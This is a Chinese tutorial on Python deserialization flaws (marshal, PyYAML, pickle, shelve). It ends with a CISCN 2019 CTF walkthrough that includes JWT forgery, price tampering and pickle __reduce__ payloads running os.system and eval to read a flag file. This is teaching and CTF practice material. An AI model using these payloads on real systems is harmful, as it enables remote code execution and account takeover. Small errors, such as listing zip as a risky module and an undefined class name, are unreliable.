社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

文库|Python反序列化

黑客技术和网络安全 • 2 年前 • 145 次点击  
👇👇关注后回复 “进群” ,拉你进程序员交流群👇👇


作者丨Track-whale
来源丨掌控安全EDU

一、Python反序列化

与PHP存在反序列化一样

Python也存在反序列化漏洞、并且Python反序列化更加强大

除了能反序列化当前代码中出现的类(包括import引入的模块中的类)

还能反序列化types创建的匿名对象!

二、Python反序列化高危模块

  1. marshal

  2. PyYAML

  3. picklecpickle

  4. shelve

  5. unzip

对高危模块的分析

1.marshal

特点

  1. 1.不是一个通用的“持久性”模块;

  2. 2.主要用于读取和编写.pyc文件的Python模块的“伪编译”代码。

  3. 3.并不是所有的Python对象类型都被支持;通常,只有值与特定的Python调用的对象无关才能被这个模块编写和读取。支持以下类型:布尔值、整数、浮点数、复数、字符串、字节、字节数组、元组、列表、集合、frozenset(不可变集合)、字典和代码对象。单独的NoneEllipsisStopIteration也可以编组和解组。对于低于版本3的格式,递归列表、集合和字典不能编写

使用

  1. marshal.dump(value, file[, version])

将值写入到一个打开的输出流里。参数value表示待序列化的值。file表示打开的输出流。

如:以”wb”模式打开的文件,sys.stdout或者os.popen。

对于一些不支持序列类的类型,dump方法将抛出ValueError异常。

但也会将垃圾数据写入文件。

该对象将不能通过load()来正确读取。

  1. marshal. load(file)

从打开的文件中读取值并返回它。

如果没有读取有效的值(例如,因为数据具有不同的Python版本的不兼容的编组格式),会引发EOFError、ValueError或TypeError错误。

文件必须是可读的二进制文件。

注意,如果一个包含不支持类型的对象被编组了dump(), load()将会用None代替unmarshallable类型。

  1. marshal.dumps(value[, version])

返回将被转储(值、文件)写入文件的字节对象。

该值必须是受支持的类型。

如果值有(或包含有)不支持类型的对象,则抛出ValueError异常。

  1. marshal.loads(bytes)

将bytes样对象转换为值。

如果没有找到有效值,会引发EOFError、ValueError或TypeError错误。

输入中的额外字节被忽略。


2.PyYAML

特点

  1. 1.YAML是专门用来写配置文件的语言

  2. 2.大小写敏感

  3. 3.使用缩进表示层级关系

  4. 4.缩进时不允许使用Tab键,只允许使用空格。

  5. 5.缩进的空格数目不重要,只要相同层级的元素左侧对齐即可

  6. 6.# 表示注释,从这个字符一直到行尾,都会被解析器忽略,这个和python的注释一样

  7. 7.列表里的项用"-"来代表,字典里的键值对用":"分隔

  8. 8.支持的数据结构

  9.   1、对象:键值对的集合

  10.   2、数组:一组按次序排列的值,序列(sequence)或列表(list

  11.  &nbsp ;3、纯量(scalars):单个的、不可再分的值,如:字符串、布尔值、整数、浮点数、Null、时间、日期

使用

  1. >>> yaml.load("""

  2. ... - Hesperiidae

  3. ... - Papilionidae

  4. ... - Apatelodidae

  5. ... - Epiplemidae

  6. ... """)

  7. ['Hesperiidae','Papilionidae','Apatelodidae','Epiplemidae']

yaml.load函数的作用是用来将YAML文档转化成Python对象;

yaml.load 函数可以接受一个表示YAML文档的字节字符串、Unicode字符串、打开的二进制文件对象或者打开的文本文件对象作为参数。

若参数为字节字符串或文件,那么它们必须使用 utf-8 utf-16 或者 utf-16-le 编码。

yaml.load会检查字节字符串或者文件对象的BOM(byte order mark)并依此来确定它们的编码格式。

如果没有发现 BOM ,那么会假定他们使用 utf-8 格式的编码。

注意:如果要load Python的实例,需要在字符串前加入标签!!python/object

  1. >>>classPerson:

  2. ...def __init__(self, name, age, gender):

  3. ... self.name = name

  4. ... self.age = age

  5. ... self.gender = gender

  6. ...def __repr__(self):

  7. ...return f"{self.__class__.__name__}(name={self.name!r}, age={self.age!r}, gender={self.gender!r})"

  8. ...

  9. >>> yaml.load("""

  10. ... !!python/object:__main__.Person

  11. ... name: Bob

  12. ... age: 18

  13. ... gender: Male

  14. ... """)

  15. Person(name='Bob', age=18, gender='Male')

如果字符串或者文件中包含多个YAML文档,

那么可以使用 yaml.load_all函数将它们全部反序列化,

得到的是一个包含所有反序列化后的YAML文档的生成器对象:

  1. >>> documents ="""

  2. ... name: bob

  3. ... age: 18

  4. ... ---

  5. ... name: alex

  6. ... age: 20

  7. ... ---

  8. ... name: jason

  9. ... age: 16

  10. ... """

  11. >>> datas = yaml.load_all(documents)

  12. >>> datas

  13. <generator object load_all at 0x105682228>

  14. >>>for data in datas:

  15. ...print(data)

  16. ...

  17. {'name':'bob','age':18}

  18. {'name':'alex','age':20}

  19. {'name':'jason','age':16}

yaml.dump 函数接受一个Python对象并生成一个YAML文档。

  1. >>>import yaml

  2. >>> emp_info ={'name':'Lex',

  3. ...'department':'SQA',

  4. ...'salary':8000,

  5. ...'annual leave entitlement':[5,10]

  6. ...}

  7. >>>print(yaml.dump(emp_info))

  8. annual leave entitlement:[5,10]

  9. department: SQA

  10. name:Lex

  11. salary:8000

如果要将多个Python对象序列化到一个YAML流中,可以使用 yaml.dump_all 函数。

该函数接受一个Python的列表或者生成器对象作为第一个参数,表示要序列化的多个Python对象。

  1. >>> obj =[{'name':'bob','age':19},{'name':20,'age':23},{'name':'leo','age':25}]

  2. >>>print(yaml.dump_all(obj))

  3. {age:19, name: bob}

  4. ---{age:23, name:20}

  5. ---{age:25, name: leo}

序列化一个Python类的实例

  1. >>>classPerson:

  2. ...def __init__(self, name, age, gender):

  3. ... self.name = name

  4. ... self.age = age

  5. ... self.gender = gender

  6. ...def __repr__(self):

  7. ...return f"{self.__class__.__name__}(name={self.name!r}, age={self.age!r}, gender={self.gender!r})"

  8. ...

  9. >>>print(yaml.dump(Person('Lucy',26, 'Female')))

  10. !!python/object:__main__.Person{age:26, gender:Female, name:Lucy}


3.pickle和cpickle

pickle和cpickle对比

cPickle是用C语言实现的,pickle是用纯python语言实现的,cPickle的读写效率要比pickle高一些。

除此之外在使用上,几乎没有任何区别,因此在下文中只介绍pickle。

特点

  1. 1.支持python的所有类型。

  2. 2.持久性存储

  3. 3.序列化后的内容不适合人类语言理解

使用

pickle.dump(obj, file, [,protocol])

功能:

接受一个文件句柄和一个数据对象作为參数,把数据对象obj以特定的格式保存到给定的文件file里。

参数:

obj:想要序列化的obj对象。

file:文件名称。

protocol:序列化使用的协议。如果该项省略,则默认为0。

如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.load(file)


功能:

将file中的对象序列化读出。

参数:

file:文件名称。

  1. # -*- coding:utf8 -*-

  2. import pickle

  3. obj =123,"abcdedf",["ac",123],{"key":"value","key1":"value1"}

  4. print(obj)


  5. # dump序列化

  6. f = open("./a.txt",'wb')

  7. pickle.dump(obj,f)

  8. f.close()


  9. # 打印序列化后的文件内容

  10. f = open("./a.txt",'rb')

  11. print(f.read())

  12. f.close()


  13. # load反序列化

  14. f = open("./a.txt",'rb')

  15. print(pickle.load(f))

  16. f.close()


  17. (123,'abcdedf',['ac',123],{'key':'value','key1':'value1'})

  18. b'\x80\x04\x95=\x00\x00\x00\x00\x00\x00\x00(K{\x8c\x07abcdedf\x94]\x94(\x8c\x02ac\x94K{e}\x94(\x8c\x03key\x94\x8c\x05value\x94\x8c\x04key1\x94\x8c\x06value1\x94ut\x94.'

  19. (123,'abcdedf',['ac',123],{'key':'value','key1':'value1'})

pickle.dumps(obj[, protocol])

功能:

将obj对象序列化为string形式,而不是存入文件中。


参数:

obj:想要序列化的obj对象。

protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本

pickle.loads(string)

功能:

从string中读出序列化前的obj对象。

参数:
string:序列化后的字符串

  1. # -*- coding:utf8 -*-

  2. import pickle

  3. ls =['12','34','56']

  4. print(ls)


  5. # dumps序列化

  6. seri = pickle.dumps(ls)

  7. print(seri)


  8. # loads反序列化

  9. unseri = pickle.loads(seri)

  10. print(unseri)


  11. ['12','34','56']

  12. b'\x80\x04\x95\x14\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x0212\x94\x8c\x0234\x94\x8c\x0256\x94e.'

  13. ['12','34','56']


4.shelve

特点

shelve其实是pickle的字典(映射到文件系统的字典),当通过shelve的键来访问记录时,其内部会使用pickle来序列化和反序列化记录,外面以一个通过键访问的文件系统为接口。

使用

shelve.open(filename, flag=’c’, protocol=None, writeback=False)

创建或打开一个shelve对象。

shelve默认打开方式支持同时读写操作。

filename是关联的文件路径。

可选参数flag,默认为‘c’

如果数据文件不存在,就创建,允许读写;

可以是: 

‘r’: 只读;

’w’: 可读写; 

‘n’: 每次调用open()都重新创建一个空的文件,可读写。

protocol:是序列化模式,默认值为None。

具体还没有尝试过,从pickle的资料中查到以下信息【protocol的值可以是1或2,表示以二进制的形式序列化】

shelve.close()

同步并关闭shelve对象。

注意:每次使用完毕,都必须确保shelve对象被安全关闭。

使用超级简单,就是把它当作字典来使用

  1. # 1.创建一个shelf对象,直接使用open函数即可


  2. import shelve

  3. s = shelve.open('test_shelf.db')#

  4. try:

  5. s['kk']={'int':10,'float':9.5,'String':'Sample data'}

  6. s['MM']=[1,2,3]

  7. finally:

  8. s.close()


  9. # 2.如果想要再次访问这个shelf,只需要再次shelve.open()就可以了,然后我们可以像使用字典一样来使用这个shelf


  10. import shelve

  11. try:

  12. s = shelve.open('test_shelf.db')

  13. value = s['kk']

  14. print(value)

  15. finally:

  16. s.close()


5.unzip

特点

zip() 函数用于将可迭代的对象作为参数,将对象中对应的元素打包成一个个元组,然后返回由这些元组组成的列表。

如果各个迭代器的元素个数不一致,则返回列表长度与最短的对象相同,利用 * 号操作符,可以将元组解压为列表。

使用

zip([iterable, ...])

参数说明:

iterabl — 一个或多个迭代器(元组、列表、字典等迭代器,当只有一个参数时,从iterable中依次取一个元组,组成一个元组;

返回值:返回元组列表。

  1. ## zip()函数单个参数

  2. list1 =[1,2,3,4]

  3. tuple1 = zip(list1)

  4. print(list(tuple1))

  5. [(1,),(2,),(3,),(4 ,)]


  6. a =[1,2,3]

  7. b =[4,5,6]

  8. c =[4,5,6,7,8]

  9. zipped = zip(a,b)# 打包为元组的列表

  10. [(1,4),(2,5),(3,6)]

  11. zip(a,c)# 元素个数与最短的列表一致

  12. [(1,4 ),(2,5),(3,6)]

  13. zip(*zipped)# 与 zip 相反,*zipped 可理解为解压,返回二维矩阵式

  14. [(1,2,3),(4,5,6)]

三、Python反序列化利用

漏洞可能出现的位置:

  1. 解析认证token、session的时候

  2. 将对象Pickle后存储成磁盘文件

  3. 将对象Pickle后在网络中传输

  4. 参数传递给程序

命令执行利用

  1. import pickle

  2. import os


  3. classTest(object):

  4. def __reduce__(self):

  5. #被调用函数的参数

  6. cmd ="/usr/bin/id"

  7. return(os.system,(cmd,))


  8. if __name__ =="__main__":

  9. test =Test2()

  10. #执行序列化操作

  11. result1 = pickle.dumps(test)

  12. #执行反序列化操作

  13. result2 = pickle.loads(result1 )


  14. # __reduce__()魔法方法的返回值:

  15. # return(os.system,(cmd,))

  16. # 1.满足返回一个元组,元组中有两个参数

  17. # 2.第一个参数是被调用函数 : os.system()

  18. # 3.第二个参数是一个元组:(cmd,),元组中被调用的参数 cmd

  19. # 4. 因此序列化时被解析执行的代码是 os.system("/usr/bin/id")

执行:

CISCN 华北赛区 Day1 Web2

Docker镜像地址:

https://github.com/CTFTraining/ciscn_2019_web_northern_china_day1_web2

复现过程

在ubuntu中把docker开起来之后,用win10 访问,得到如下页面。


注意到页面中有一个提示:爆破*站,一定要买到lv6

那么自然第一步就是去找到有lv6的东西然后进行购买

然而第一页中并没有lv6、当点击下页时

http://192.168.8.129:10001/shop?page=2 url中会出现这样的参数page=2

当接着下一页时,会出现 page=3

因此可以尝试写一个脚本来遍历这个网站,返回有lv6的页面下标。

  1. import requests


  2. url ="http://192.168.8.129:10001/"


  3. for i in range(1,2000):

  4. r = requests.get(url +"shop?page="+ str(i))


  5. if r.text.find("lv6.png")!=-1:

  6. print(i)

  7. break


直接修改url中的下标,修改到181

然后去购买,然后发现需要登陆,那么我们就先去注册一个。

登陆成功!


但是想去购买呢,发现钱并不是很够,并且上面有一个优惠券,那么可不可以修改这个优惠券呢?


抓包发现这里有一个discount,原本是0.8

那么直接改为一个很小的数,看看能不能成功


放包过去,结果页面出现了只允许admin访问

也就是我开始注册的账号并不是admin

这里就需要越权

而一般呢,cookie是代表身份的

因此我们尝试看一下cookie中会不会有什么突破口



这里发现有一个叫JWT的cookie值。

什么是JWT呢?

百度一下:JSON Web Token (JWT)是一个开放标准(RFC 7519)

它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。

该信息可以被验证和信任,因为它是数字签名的。

哦,原来他是一个加密的token,解密!

jwt在线解密地址


这里并没有解出它的密钥!!!

修改参数,得到

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo


返回页面依旧是这样!


在访问一次,换一下cookie!


Ok 访问成功

查看网页源代码

访问这个地址,下载这个文件


搜索Python高危模块


定位源代码,得到

  1. def post(self,*args,**kwargs):

  2. try:

  3. become = self.get_argument('become')

  4. p = pickle.loads(urllib.unquote(become))

  5. return self.render('form.html', res=p, member=1)

  6. except:

  7. return self.render('form.html', res='This is Black Technology!', member=0)


发现它会对参数become进行反序列化pickle.loads(urllib.unquote(become))

去页面查找become,找到元素

构造实例,并将其序列化传入

  1. import pickle

  2. import urllib


  3. class payload(object):

  4. def __reduce__(self):

  5. return(eval,("open('/flag.txt','r').read()",))


  6. a = pickle.dumps(payload())

  7. a = urllib.quote(a)

  8. print a

  9. # 注意使用的是python2


  10. c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.



将它的隐藏标签去掉,然后输入paylaod,点击一键成为大会员

  

-End-

最近有一些小伙伴,让我帮忙找一些 面试题 资料,于是我翻遍了收藏的 5T 资料后,汇总整理出来,可以说是程序员面试必备!所有资料都整理到网盘了,欢迎下载!

点击👆卡片,关注后回复【面试题】即可获取

在看点这里好文分享给更多人↓↓

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/116051
 
145 次点击